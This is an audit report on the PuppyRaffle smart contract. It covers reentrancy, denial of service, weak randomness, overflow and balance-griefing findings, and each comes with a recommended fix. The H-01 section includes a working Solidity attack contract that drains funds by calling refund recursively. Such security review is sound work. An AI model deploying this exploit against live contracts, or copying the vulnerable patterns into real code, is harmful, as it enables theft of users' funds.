#[0xBreak Security Research] — Smart Contract Audit Report

Prepared by: 0xBreak

Project: PuppyRaffle (Security Contest)

Date: March 2026

> 📋 **Disclaimer**
>
> This report was prepared by **0xBreak**. Our audit is a time-boxed security review of the smart contract logic. While we strive to find every vulnerability, an audit is not a guarantee of 100% security.

Summary Table

Severity	Count
🔴 High	3
🟠 Medium	2
🔵 Low/Info	1

1. Executive Summary!

The PuppyRaffle smart contract was subjected to a detailed security review. Multiple high-severity vulnerabilities were discovered, ranging from **Denial of Service (DoS)** to

Reentrancy attacks. These flaws put user funds and protocol stability at critical risk.

2. Risk Classification

Severity	Description
High	Direct theft of funds or complete protocol failure.
Medium	Significant disruption or potential loss of funds under specific conditions.
Low	Minor issues or optimization suggestions.

---

3. High Severity Findings

[H-01] Reentrancy Attack in `refund` Function

Severity: High (Critical)

Description:

The `refund` function uses `sendValue` (external call) before updating the player's status in the `players` array. Since the state change happens *after* the transfer, a malicious contract can call `refund` recursively until the contract is drained.

Vulnerable Code:

Solidity

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    // ... checks ...
    payable(msg.sender).sendValue(entranceFee); // <--- External call
first
    players[playerIndex] = address(0);          // <--- State update
second
}
```

Proof of Concept (0xBreak Exploit):

Solidity

```
contract ReentrancyAttack {
    // ... setup ...
    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
```

```
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        atakerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(atakerIndex); // Trigger initial refund
    }

    function stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(atakerIndex); // Recursive call
        }
    }

    fallback() external payable { stealMoney(); }
    receive() external payable { stealMoney(); }
}
```

Recommendation: Implement the **Checks-Effects-Interactions** pattern. Move `players[playerIndex] = address(0);` before the `sendValue` call.

[H-02] Denial of Service (DoS) via Unbounded Loop in `enterRaffle`

Severity: High

Description:

The duplicate check in `enterRaffle` iterates through the entire `players` array for every new entrant. This results in O(n2) complexity. As more players join, the gas cost increases exponentially.

0xBreak Gas Analysis:

Based on the logs, we can see the massive increase in gas consumption:

- **100 players:** ~1.073e9 gas units.
- **200 players:** Significant spike (the second 100 uses even more gas than the first).
- **500 players:** Gas usage reaches levels that would likely exceed the Block Gas Limit in a live environment.

Proof of Concept:

Solidity

```
function testDosAttack() public {
    // Entering first 100 users
    puppyRaffle.enterRaffle{value: entranceFee * 100}(player);
    // Entering next 100 users
```

```
    // Result: gasStartTwo-gasEndTwo is significantly larger than
gasStart-gasEnd
}
```

Recommendation: Replace the array iteration with a `mapping(address => bool)`.

[H-03] Weak Randomness & Rarity Manipulation

Severity: High

Description:

The `winnerIndex` and NFT rarity are calculated using `block.timestamp` and `block.difficulty`. These values are visible in the mempool and can be predicted.

Attack Scenario:

A hacker can pre-calculate the results of the `keccak256` hash. If the outcome is not a "Legendary" NFT or if they are not the winner, they can revert the transaction or choose not to call `selectWinner` until the `block.timestamp` aligns with their desired outcome.

Vulnerable Code:

Solidity

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
```

Recommendation: Use **Chainlink VRF** (Verifiable Random Function) for secure, tamper-proof randomness.

---

4. Medium & Low Severity Findings

[M-01] Integer Overflow in `totalFees` (Solidity < 0.8.0)

The use of `uint64` for `totalFees` is dangerous. Given the version `0.7.6`, an overflow will not revert. If the protocol becomes popular, `totalFees` will reset to 0, losing all profit.

[M-02] Balance Poisoning (Griefing) in `withdrawFees`

The strict check `address(this).balance == uint256(totalFees)` allows any attacker to lock the owner's fees by sending 1 wei via `selfdestruct`.

Auditor Notes: *This report was compiled by 0xBreak. The findings highlight critical architectural flaws that require immediate refactoring before any mainnet deployment.*